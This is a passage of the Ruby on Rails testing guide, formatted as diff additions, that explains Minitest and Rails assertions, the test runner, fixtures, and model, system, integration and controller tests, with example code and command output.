+[Getting Started with Rails](getting_started.html) guide. We created our first
+model, and among other things it created test stubs in the `test` directory:
+
+```bash
+$ bin/rails generate model article title:string body:text
+...
+create  app/models/article.rb
+create  test/models/article_test.rb
+create  test/fixtures/articles.yml
+...
+```
+
+The default test stub in `test/models/article_test.rb` looks like this:
+
+```ruby
+require 'test_helper'
+
+class ArticleTest < ActiveSupport::TestCase
+  # test "the truth" do
+  #   assert true
+  # end
+end
+```
+
+A line by line examination of this file will help get you oriented to Rails testing code and terminology.
+
+```ruby
+require 'test_helper'
+```
+
+By requiring this file, `test_helper.rb` the default configuration to run our tests is loaded. We will include this with all the tests we write, so any methods added to this file are available to all our tests.
+
+```ruby
+class ArticleTest < ActiveSupport::TestCase
+```
+
+The `ArticleTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `ArticleTest` thus has all the methods available from `ActiveSupport::TestCase`. Later in this guide, we'll see some of the methods it gives us.
+
+Any method defined within a class inherited from `Minitest::Test`
+(which is the superclass of `ActiveSupport::TestCase`) that begins with `test_` (case sensitive) is simply called a test. So, methods defined as `test_password` and `test_valid_password` are legal test names and are run automatically when the test case is run.
+
+Rails also adds a `test` method that takes a test name and a block. It generates a normal `Minitest::Unit` test with method names prefixed with `test_`. So you don't have to worry about naming the methods, and you can write something like:
+
+```ruby
+test "the truth" do
+  assert true
+end
+```
+
+Which is approximately the same as writing this:
+
+```ruby
+def test_the_truth
+  assert true
+end
+```
+
+Although you can still use regular method definitions, using the `test` macro allows for a more readable test name.
+
+NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. This may require use of `define_method` and `send` calls to function properly, but formally there's little restriction on the name.
+
+Next, let's look at our first assertion:
+
+```ruby
+assert true
+```
+
+An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
+
+* does this value = that value?
+* is this object nil?
+* does this line of code throw an exception?
+* is the user's password greater than 5 characters?
+
+Every test may contain one or more assertions, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass.
+
+#### Your first failing test
+
+To see how a test failure is reported, you can add a failing test to the `article_test.rb` test case.
+
+```ruby
+test "should not save article without title" do
+  article = Article.new
+  assert_not article.save
+end
+```
+
+Let us run this newly added test (where `6` is the number of line where the test is defined).
+
+```bash
+$ bin/rails test test/models/article_test.rb:6
+Run options: --seed 44656
+
+# Running:
+
+F
+
+Failure:
+ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
+Expected true to be nil or false
+
+
+bin/rails test test/models/article_test.rb:6
+
+
+
+Finished in 0.023918s, 41.8090 runs/s, 41.8090 assertions/s.
+
+1 runs, 1 assertions, 1 failures, 0 errors, 0 skips
+
+```
+
+In the output, `F` denotes a failure. You can see the corresponding trace shown under `Failure` along with the name of the failing test. The next few lines contain the stack trace followed by a message that mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
+
+```ruby
+test "should not save article without title" do
+  article = Article.new
+  assert_not article.save, "Saved the article without a title"
+end
+```
+
+Running this test shows the friendlier assertion message:
+
+```bash
+Failure:
+ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
+Saved the article without a title
+```
+
+Now to get this test to pass we can add a model level validation for the _title_ field.
+
+```ruby
+class Article < ApplicationRecord
+  validates :title, presence: true
+end
+```
+
+Now the test should pass. Let us verify by running the test again:
+
+```bash
+$ bin/rails test test/models/article_test.rb:6
+Run options: --seed 31252
+
+# Running:
+
+.
+
+Finished in 0.027476s, 36.3952 runs/s, 36.3952 assertions/s.
+
+1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Now, if you noticed, we first wrote a test which fails for a desired
+functionality, then we wrote some code which adds the functionality and finally
+we ensured that our test passes. This approach to software development is
+referred to as
+[_Test-Driven Development_ (TDD)](http://c2.com/cgi/wiki?TestDrivenDevelopment).
+
+#### What an error looks like
+
+To see how an error gets reported, here's a test containing an error:
+
+```ruby
+test "should report error" do
+  # some_undefined_variable is not defined elsewhere in the test case
+  some_undefined_variable
+  assert true
+end
+```
+
+Now you can see even more output in the console from running the tests:
+
+```bash
+$ bin/rails test test/models/article_test.rb
+Run options: --seed 1808
+
+# Running:
+
+.E
+
+Error:
+ArticleTest#test_should_report_error:
+NameError: undefined local variable or method 'some_undefined_variable' for #<ArticleTest:0x007fee3aa71798>
+    test/models/article_test.rb:11:in 'block in <class:ArticleTest>'
+
+
+bin/rails test test/models/article_test.rb:9
+
+
+
+Finished in 0.040609s, 49.2500 runs/s, 24.6250 assertions/s.
+
+2 runs, 1 assertions, 0 failures, 1 errors, 0 skips
+```
+
+Notice the 'E' in the output. It denotes a test with error.
+
+NOTE: The execution of each test method stops as soon as any error or an
+assertion failure is encountered, and the test suite continues with the next
+method. All test methods are executed in random order. The
+[`config.active_support.test_order` option](configuring.html#configuring-active-support)
+can be used to configure test order.
+
+When a test fails you are presented with the corresponding backtrace. By default
+Rails filters that backtrace and will only print lines relevant to your
+application. This eliminates the framework noise and helps to focus on your
+code. However there are situations when you want to see the full
+backtrace. Set the `-b` (or `--backtrace`) argument to enable this behavior:
+
+```bash
+$ bin/rails test -b test/models/article_test.rb
+```
+
+If we want this test to pass we can modify it to use `assert_raises` like so:
+
+```ruby
+test "should report error" do
+  # some_undefined_variable is not defined elsewhere in the test case
+  assert_raises(NameError) do
+    some_undefined_variable
+  end
+end
+```
+
+This test should now pass.
+
+### Available Assertions
+
+By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
+
+Here's an extract of the assertions you can use with
+[`Minitest`](https://github.com/seattlerb/minitest), the default testing library
+used by Rails. The `[msg]` parameter is an optional string message you can
+specify to make your test failure messages clearer.
+
+| Assertion                                                        | Purpose |
+| ---------------------------------------------------------------- | ------- |
+| `assert( test, [msg] )`                                          | Ensures that `test` is true.|
+| `assert_not( test, [msg] )`                                      | Ensures that `test` is false.|
+| `assert_equal( expected, actual, [msg] )`                        | Ensures that `expected == actual` is true.|
+| `assert_not_equal( expected, actual, [msg] )`                    | Ensures that `expected != actual` is true.|
+| `assert_same( expected, actual, [msg] )`                         | Ensures that `expected.equal?(actual)` is true.|
+| `assert_not_same( expected, actual, [msg] )`                     | Ensures that `expected.equal?(actual)` is false.|
+| `assert_nil( obj, [msg] )`                                       | Ensures that `obj.nil?` is true.|
+| `assert_not_nil( obj, [msg] )`                                   | Ensures that `obj.nil?` is false.|
+| `assert_empty( obj, [msg] )`                                     | Ensures that `obj` is `empty?`.|
+| `assert_not_empty( obj, [msg] )`                                 | Ensures that `obj` is not `empty?`.|
+| `assert_match( regexp, string, [msg] )`                          | Ensures that a string matches the regular expression.|
+| `assert_no_match( regexp, string, [msg] )`                       | Ensures that a string doesn't match the regular expression.|
+| `assert_includes( collection, obj, [msg] )`                      | Ensures that `obj` is in `collection`.|
+| `assert_not_includes( collection, obj, [msg] )`                  | Ensures that `obj` is not in `collection`.|
+| `assert_in_delta( expected, actual, [delta], [msg] )`            | Ensures that the numbers `expected` and `actual` are within `delta` of each other.|
+| `assert_not_in_delta( expected, actual, [delta], [msg] )`        | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.|
+| `assert_throws( symbol, [msg] ) { block }`                       | Ensures that the given block throws the symbol.|
+| `assert_raises( exception1, exception2, ... ) { block }`         | Ensures that the given block raises one of the given exceptions.|
+| `assert_instance_of( class, obj, [msg] )`                        | Ensures that `obj` is an instance of `class`.|
+| `assert_not_instance_of( class, obj, [msg] )`                    | Ensures that `obj` is not an instance of `class`.|
+| `assert_kind_of( class, obj, [msg] )`                            | Ensures that `obj` is an instance of `class` or is descending from it.|
+| `assert_not_kind_of( class, obj, [msg] )`                        | Ensures that `obj` is not an instance of `class` and is not descending from it.|
+| `assert_respond_to( obj, symbol, [msg] )`                        | Ensures that `obj` responds to `symbol`.|
+| `assert_not_respond_to( obj, symbol, [msg] )`                    | Ensures that `obj` does not respond to `symbol`.|
+| `assert_operator( obj1, operator, [obj2], [msg] )`               | Ensures that `obj1.operator(obj2)` is true.|
+| `assert_not_operator( obj1, operator, [obj2], [msg] )`           | Ensures that `obj1.operator(obj2)` is false.|
+| `assert_predicate ( obj, predicate, [msg] )`                     | Ensures that `obj.predicate` is true, e.g. `assert_predicate str, :empty?`|
+| `assert_not_predicate ( obj, predicate, [msg] )`                 | Ensures that `obj.predicate` is false, e.g. `assert_not_predicate str, :empty?`|
+| `flunk( [msg] )`                                                 | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
+
+The above are a subset of assertions that minitest supports. For an exhaustive &
+more up-to-date list, please check
+[Minitest API documentation](http://docs.seattlerb.org/minitest/), specifically
+[`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html).
+
+Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
+
+NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
+
+### Rails Specific Assertions
+
+Rails adds some custom assertions of its own to the `minitest` framework:
+
+| Assertion                                                                         | Purpose |
+| --------------------------------------------------------------------------------- | ------- |
+| [`assert_difference(expressions, difference = 1, message = nil) {...}`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_difference) | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
+| [`assert_no_difference(expressions, message = nil, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_difference) | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
+| [`assert_changes(expressions, message = nil, from:, to:, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_changes) | Test that the result of evaluating an expression is changed after invoking the passed in block.|
+| [`assert_no_changes(expressions, message = nil, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_changes) | Test the result of evaluating an expression is not changed after invoking the passed in block.|
+| [`assert_nothing_raised { block }`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_nothing_raised) | Ensures that the given block doesn't raise any exceptions.|
+| [`assert_recognizes(expected_options, path, extras={}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes) | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
+| [`assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates) | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
+| [`assert_response(type, message = nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response) | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.|
+| [`assert_redirected_to(options = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_redirected_to) | Asserts that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.|
+
+You'll see the usage of some of these assertions in the next chapter.
+
+### A Brief Note About Test Cases
+
+All the basic assertions such as `assert_equal` defined in `Minitest::Assertions` are also available in the classes we use in our own test cases. In fact, Rails provides the following classes for you to inherit from:
+
+* [`ActiveSupport::TestCase`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html)
+* [`ActionMailer::TestCase`](http://api.rubyonrails.org/classes/ActionMailer/TestCase.html)
+* [`ActionView::TestCase`](http://api.rubyonrails.org/classes/ActionView/TestCase.html)
+* [`ActionDispatch::IntegrationTest`](http://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html)
+* [`ActiveJob::TestCase`](http://api.rubyonrails.org/classes/ActiveJob/TestCase.html)
+* [`ActionDispatch::SystemTestCase`](http://api.rubyonrails.org/classes/ActionDispatch/SystemTestCase.html)
+
+Each of these classes include `Minitest::Assertions`, allowing us to use all of the basic assertions in our tests.
+
+NOTE: For more information on `Minitest`, refer to [its
+documentation](http://docs.seattlerb.org/minitest).
+
+### The Rails Test Runner
+
+We can run all of our tests at once by using the `bin/rails test` command.
+
+Or we can run a single test file by passing the `bin/rails test` command the filename containing the test cases.
+
+```bash
+$ bin/rails test test/models/article_test.rb
+Run options: --seed 1559
+
+# Running:
+
+..
+
+Finished in 0.027034s, 73.9810 runs/s, 110.9715 assertions/s.
+
+2 runs, 3 assertions, 0 failures, 0 errors, 0 skips
+```
+
+This will run all test methods from the test case.
+
+You can also run a particular test method from the test case by providing the
+`-n` or `--name` flag and the test's method name.
+
+```bash
+$ bin/rails test test/models/article_test.rb -n test_the_truth
+Run options: -n test_the_truth --seed 43583
+
+# Running:
+
+.
+
+Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+You can also run a test at a specific line by providing the line number.
+
+```bash
+$ bin/rails test test/models/article_test.rb:6 # run specific test and line
+```
+
+You can also run an entire directory of tests by providing the path to the directory.
+
+```bash
+$ bin/rails test test/controllers # run all tests from specific directory
+```
+
+The test runner also provides a lot of other features like failing fast, deferring test output
+at the end of test run and so on. Check the documentation of the test runner as follows:
+
+```bash
+$ bin/rails test -h
+minitest options:
+    -h, --help                       Display this help.
+    -s, --seed SEED                  Sets random seed. Also via env. Eg: SEED=n rake
+    -v, --verbose                    Verbose. Show progress processing files.
+    -n, --name PATTERN               Filter run on /regexp/ or string.
+        --exclude PATTERN            Exclude /regexp/ or string from run.
+
+Known extensions: rails, pride
+
+Usage: bin/rails test [options] [files or directories]
+You can run a single test by appending a line number to a filename:
+
+    bin/rails test test/models/user_test.rb:27
+
+You can run multiple files and directories at the same time:
+
+    bin/rails test test/controllers test/integration/login_test.rb
+
+By default test failures and errors are reported inline during a run.
+
+Rails options:
+    -e, --environment ENV            Run tests in the ENV environment
+    -b, --backtrace                  Show the complete backtrace
+    -d, --defer-output               Output test failures and errors after the test run
+    -f, --fail-fast                  Abort test run on first failure or error
+    -c, --[no-]color                 Enable color in the output
+```
+
+The Test Database
+-----------------
+
+Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
+
+By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`.
+
+A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can mangle test data with confidence, without worrying about the data in the development or production databases.
+
+
+### Maintaining the test database schema
+
+In order to run your tests, your test database will need to have the current
+structure. The test helper checks whether your test database has any pending
+migrations. It will try to load your `db/schema.rb` or `db/structure.sql`
+into the test database. If migrations are still pending, an error will be
+raised. Usually this indicates that your schema is not fully migrated. Running
+the migrations against the development database (`bin/rails db:migrate`) will
+bring the schema up to date.
+
+NOTE: If there were modifications to existing migrations, the test database needs to
+be rebuilt. This can be done by executing `bin/rails db:test:prepare`.
+
+### The Low-Down on Fixtures
+
+For good tests, you'll need to give some thought to setting up test data.
+In Rails, you can handle this by defining and customizing fixtures.
+You can find comprehensive documentation in the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
+
+#### What Are Fixtures?
+
+_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and written in YAML. There is one file per model.
+
+NOTE: Fixtures are not designed to create every object that your tests need, and are best managed when only used for default data that can be applied to the common case.
+
+You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model, Rails automatically creates fixture stubs in this directory.
+
+#### YAML
+
+YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`).
+
+Here's a sample YAML fixture file:
+
+```yaml
+# lo & behold! I am a YAML comment!
+david:
+  name: David Heinemeier Hansson
+  birthday: 1979-10-15
+  profession: Systems development
+
+steve:
+  name: Steve Ross Kellock
+  birthday: 1974-09-27
+  profession: guy with keyboard
+```
+
+Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank line. You can place comments in a fixture file by using the # character in the first column.
+
+If you are working with [associations](/association_basics.html), you can
+define a reference node between two different fixtures. Here's an example with
+a `belongs_to`/`has_many` association:
+
+```yaml
+# In fixtures/categories.yml
+about:
+  name: About
+
+# In fixtures/articles.yml
+first:
+  title: Welcome to Rails!
+  body: Hello world!
+  category: about
+```
+
+Notice the `category` key of the `first` article found in `fixtures/articles.yml` has a value of `about`. This tells Rails to load the category `about` found in `fixtures/categories.yml`.
+
+NOTE: For associations to reference one another by name, you can use the fixture name instead of specifying the `id:` attribute on the associated fixtures. Rails will auto assign a primary key to be consistent between runs. For more information on this association behavior please read the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
+
+#### ERB'in It Up
+
+ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
+
+```erb
+<% 1000.times do |n| %>
+user_<%= n %>:
+  username: <%= "user#{n}" %>
+  email: <%= "user#{n}@example.com" %>
+<% end %>
+```
+
+#### Fixtures in Action
+
+Rails automatically loads all fixtures from the `test/fixtures` directory by
+default. Loading involves three steps:
+
+1. Remove any existing data from the table corresponding to the fixture
+2. Load the fixture data into the table
+3. Dump the fixture data into a method in case you want to access it directly
+
+TIP: In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting annoying permission errors on running tests, make sure the database user has privilege to disable these triggers in testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about PostgreSQL permissions [here](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html)).
+
+#### Fixtures are Active Record objects
+
+Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically available as a method whose scope is local of the test case. For example:
+
+```ruby
+# this will return the User object for the fixture named david
+users(:david)
+
+# this will return the property for david called id
+users(:david).id
+
+# one can also access methods available on the User class
+david = users(:david)
+david.call(david.partner)
+```
+
+To get multiple fixtures at once, you can pass in a list of fixture names. For example:
+
+```ruby
+# this will return an array containing the fixtures david and steve
+users(:david, :steve)
+```
+
+
+Model Testing
+-------------
+
+Model tests are used to test the various models of your application.
+
+Rails model tests are stored under the `test/models` directory. Rails provides
+a generator to create a model test skeleton for you.
+
+```bash
+$ bin/rails generate test_unit:model article title:string body:text
+create  test/models/article_test.rb
+create  test/fixtures/articles.yml
+```
+
+Model tests don't have their own superclass like `ActionMailer::TestCase` instead they inherit from [`ActiveSupport::TestCase`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html).
+
+System Testing
+--------------
+
+System tests allow you to test user interactions with your application, running tests
+in either a real or a headless browser. System tests uses Capybara under the hood.
+
+For creating Rails system tests, you use the `test/system` directory in your
+application. Rails provides a generator to create a system test skeleton for you.
+
+```bash
+$ bin/rails generate system_test users
+      invoke test_unit
+      create test/system/users_test.rb
+```
+
+Here's what a freshly-generated system test looks like:
+
+```ruby
+require "application_system_test_case"
+
+class UsersTest < ApplicationSystemTestCase
+  # test "visiting the index" do
+  #   visit users_url
+  #
+  #   assert_selector "h1", text: "Users"
+  # end
+end
+```
+
+By default, system tests are run with the Selenium driver, using the Chrome
+browser, and a screen size of 1400x1400. The next section explains how to
+change the default settings.
+
+### Changing the default settings
+
+Rails makes changing the default settings for system tests very simple. All
+the setup is abstracted away so you can focus on writing your tests.
+
+When you generate a new application or scaffold, an `application_system_test_case.rb` file
+is created in the test directory. This is where all the configuration for your
+system tests should live.
+
+If you want to change the default settings you can change what the system
+tests are "driven by". Say you want to change the driver from Selenium to
+Poltergeist. First add the `poltergeist` gem to your Gemfile. Then in your
+`application_system_test_case.rb` file do the following:
+
+```ruby
+require "test_helper"
+require "capybara/poltergeist"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :poltergeist
+end
+```
+
+The driver name is a required argument for `driven_by`. The optional arguments
+that can be passed to `driven_by` are `:using` for the browser (this will only
+be used by Selenium), `:screen_size` to change the size of the screen for
+screenshots, and `:options` which can be used to set options supported by the
+driver.
+
+```ruby
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :firefox
+end
+```
+
+If your Capybara configuration requires more setup than provided by Rails, this
+additional configuration could be added into the `application_system_test_case.rb`
+file.
+
+Please see [Capybara's documentation](https://github.com/teamcapybara/capybara#setup)
+for additional settings.
+
+### Screenshot Helper
+
+The `ScreenshotHelper` is a helper designed to capture screenshots of your tests.
+This can be helpful for viewing the browser at the point a test failed, or
+to view screenshots later for debugging.
+
+Two methods are provided: `take_screenshot` and `take_failed_screenshot`.
+`take_failed_screenshot` is automatically included in `after_teardown` inside
+Rails.
+
+The `take_screenshot` helper method can be included anywhere in your tests to
+take a screenshot of the browser.
+
+### Implementing a system test
+
+Now we're going to add a system test to our blog application. We'll demonstrate
+writing a system test by visiting the index page and creating a new blog article.
+
+If you used the scaffold generator, a system test skeleton was automatically
+created for you. If you didn't use the scaffold generator, start by creating a
+system test skeleton.
+
+```bash
+$ bin/rails generate system_test articles
+```
+
+It should have created a test file placeholder for us. With the output of the
+previous command you should see:
+
+```bash
+      invoke  test_unit
+      create    test/system/articles_test.rb
+```
+
+Now let's open that file and write our first assertion:
+
+```ruby
+require "application_system_test_case"
+
+class ArticlesTest < ApplicationSystemTestCase
+  test "viewing the index" do
+    visit articles_path
+    assert_selector "h1", text: "Articles"
+  end
+end
+```
+
+The test should see that there is an `h1` on the articles index page and pass.
+
+Run the system tests.
+
+```bash
+bin/rails test:system
+```
+
+NOTE: By default, running `bin/rails test` won't run your system tests.
+Make sure to run `bin/rails test:system` to actually run them.
+
+#### Creating articles system test
+
+Now let's test the flow for creating a new article in our blog.
+
+```ruby
+test "creating an article" do
+  visit articles_path
+
+  click_on "New Article"
+
+  fill_in "Title", with: "Creating an Article"
+  fill_in "Body", with: "Created this article successfully!"
+
+  click_on "Create Article"
+
+  assert_text "Creating an Article"
+end
+```
+
+The first step is to call `visit articles_path`. This will take the test to the
+articles index page.
+
+Then the `click_on "New Article"` will find the "New Article" button on the
+index page. This will redirect the browser to `/articles/new`.
+
+Then the test will fill in the title and body of the article with the specified
+text. Once the fields are filled in, "Create Article" is clicked on which will
+send a POST request to create the new article in the database.
+
+We will be redirected back to the the articles index page and there we assert
+that the text from the new article's title is on the articles index page.
+
+#### Taking it further
+
+The beauty of system testing is that it is similar to integration testing in
+that it tests the user's interaction with your controller, model, and view, but
+system testing is much more robust and actually tests your application as if
+a real user were using it. Going forward, you can test anything that the user
+themselves would do in your application such as commenting, deleting articles,
+publishing draft articles, etc.
+
+Integration Testing
+-------------------
+
+Integration tests are used to test how various parts of your application interact. They are generally used to test important workflows within our application.
+
+For creating Rails integration tests, we use the `test/integration` directory for our application. Rails provides a generator to create an integration test skeleton for us.
+
+```bash
+$ bin/rails generate integration_test user_flows
+      exists  test/integration/
+      create  test/integration/user_flows_test.rb
+```
+
+Here's what a freshly-generated integration test looks like:
+
+```ruby
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  # test "the truth" do
+  #   assert true
+  # end
+end
+```
+
+Here the test is inheriting from `ActionDispatch::IntegrationTest`. This makes some additional helpers available for us to use in our integration tests.
+
+### Helpers Available for Integration Tests
+
+In addition to the standard testing helpers, inheriting from `ActionDispatch::IntegrationTest` comes with some additional helpers available when writing integration tests. Let's get briefly introduced to the three categories of helpers we get to choose from.
+
+For dealing with the integration test runner, see [`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html).
+
+When performing requests, we will have [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html) available for our use.
+
+If we need to modify the session, or state of our integration test, take a look at [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html) to help.
+
+### Implementing an integration test
+
+Let's add an integration test to our blog application. We'll start with a basic workflow of creating a new blog article, to verify that everything is working properly.
+
+We'll start by generating our integration test skeleton:
+
+```bash
+$ bin/rails generate integration_test blog_flow
+```
+
+It should have created a test file placeholder for us. With the output of the
+previous command we should see:
+
+```bash
+      invoke  test_unit
+      create    test/integration/blog_flow_test.rb
+```
+
+Now let's open that file and write our first assertion:
+
+```ruby
+require 'test_helper'
+
+class BlogFlowTest < ActionDispatch::IntegrationTest
+  test "can see the welcome page" do
+    get "/"
+    assert_select "h1", "Welcome#index"
+  end
+end
+```
+
+We will take a look at `assert_select` to query the resulting HTML of a request in the "Testing Views" section below. It is used for testing the response of our request by asserting the presence of key HTML elements and their content.
+
+When we visit our root path, we should see `welcome/index.html.erb` rendered for the view. So this assertion should pass.
+
+#### Creating articles integration
+
+How about testing our ability to create a new article in our blog and see the resulting article.
+
+```ruby
+test "can create an article" do
+  get "/articles/new"
+  assert_response :success
+
+  post "/articles",
+    params: { article: { title: "can create", body: "article successfully." } }
+  assert_response :redirect
+  follow_redirect!
+  assert_response :success
+  assert_select "p", "Title:\n  can create"
+end
+```
+
+Let's break this test down so we can understand it.
+
+We start by calling the `:new` action on our Articles controller. This response should be successful.
+
+After this we make a post request to the `:create` action of our Articles controller:
+
+```ruby
+post "/articles",
+  params: { article: { title: "can create", body: "article successfully." } }
+assert_response :redirect
+follow_redirect!
+```
+
+The two lines following the request are to handle the redirect we setup when creating a new article.
+
+NOTE: Don't forget to call `follow_redirect!` if you plan to make subsequent requests after a redirect is made.
+
+Finally we can assert that our response was successful and our new article is readable on the page.
+
+#### Taking it further
+
+We were able to successfully test a very small workflow for visiting our blog and creating a new article. If we wanted to take this further we could add tests for commenting, removing articles, or editing comments. Integration tests are a great place to experiment with all kinds of use-cases for our applications.
+
+
+Functional Tests for Your Controllers
+-------------------------------------
+
+In Rails, testing the various actions of a controller is a form of writing functional tests. Remember your controllers handle the incoming web requests to your application and eventually respond with a rendered view. When writing functional tests, you are testing how your actions handle the requests and the expected result or response, in some cases an HTML view.
+
+### What to include in your Functional Tests
+
+You should test for things such as:
+
+* was the web request successful?
+* was the user redirected to the right page?
+* was the user successfully authenticated?
+* was the correct object stored in the response template?
+* was the appropriate message displayed to the user in the view?
+
+The easiest way to see functional tests in action is to generate a controller using the scaffold generator:
+
+```bash
+$ bin/rails generate scaffold_controller article title:string body:text
+...
+create  app/controllers/articles_controller.rb
+...
+invoke  test_unit
+create    test/controllers/articles_controller_test.rb
+...
+```
+
+This will generate the controller code and tests for an `Article` resource.
+You can take a look at the file `articles_controller_test.rb` in the `test/controllers` directory.
+
+If you already have a controller and just want to generate the test scaffold code for
+each of the seven default actions, you can use the following command:
+
+```bash
+$ bin/rails generate test_unit:scaffold article
+...
+invoke  test_unit
+create test/controllers/articles_controller_test.rb
+...
+```
+
+Let's take a look at one such test, `test_should_get_index` from the file `articles_controller_test.rb`.
+
+```ruby
+# articles_controller_test.rb
+class ArticlesControllerTest < ActionDispatch::IntegrationTest
+  test "should get index" do
+    get articles_url
+    assert_response :success
+  end
+end
+```
+
+In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful
+and also ensuring that the right response body has been generated.
+
+The `get` method kicks off the web request and populates the results into the `@response`. It can accept up to 6 arguments:
+
+* The URI of the controller action you are requesting.
+  This can be in the form of a string or a route helper (e.g. `articles_url`).
+* `params`: option with a hash of request parameters to pass into the action
+  (e.g. query string parameters or article variables).
+* `headers`: for setting the headers that will be passed with the request.
+* `env`: for customizing the request environment as needed.
+* `xhr`: whether the request is Ajax request or not. Can be set to true for marking the request as Ajax.
+* `as`: for encoding the request with different content type. Supports `:json` by default.
+
+All of these keyword arguments are optional.
+
+Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting `HTTP_REFERER` header:
+
+```ruby
+get article_url, params: { id: 12 }, headers: { "HTTP_REFERER" => "http://example.com/home" }
+```
+
+Another example: Calling the `:update` action, passing an `id` of 12 as the `params` as an Ajax request.
+
+```ruby
+patch article_url, params: { id: 12 }, xhr: true
+```
+
+NOTE: If you try running `test_should_create_article` test from `articles_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
+
+Let us modify `test_should_create_article` test in `articles_controller_test.rb` so that all our test pass:
+
+```ruby
+test "should create article" do
+  assert_difference('Article.count') do
+    post articles_url, params: { article: { body: 'Rails is awesome!', title: 'Hello Rails' } }
+  end
+
+  assert_redirected_to article_path(Article.last)
+end
+```
+
+Now you can try running all the tests and they should pass.
+
+NOTE: If you followed the steps in the Basic Authentication section, you'll need to add the following to the `setup` block to get all the tests passing:
+
+```ruby
+request.headers['Authorization'] = ActionController::HttpAuthentication::Basic.
+  encode_credentials('dhh', 'secret')
+```
+
+### Available Request Types for Functional Tests
+
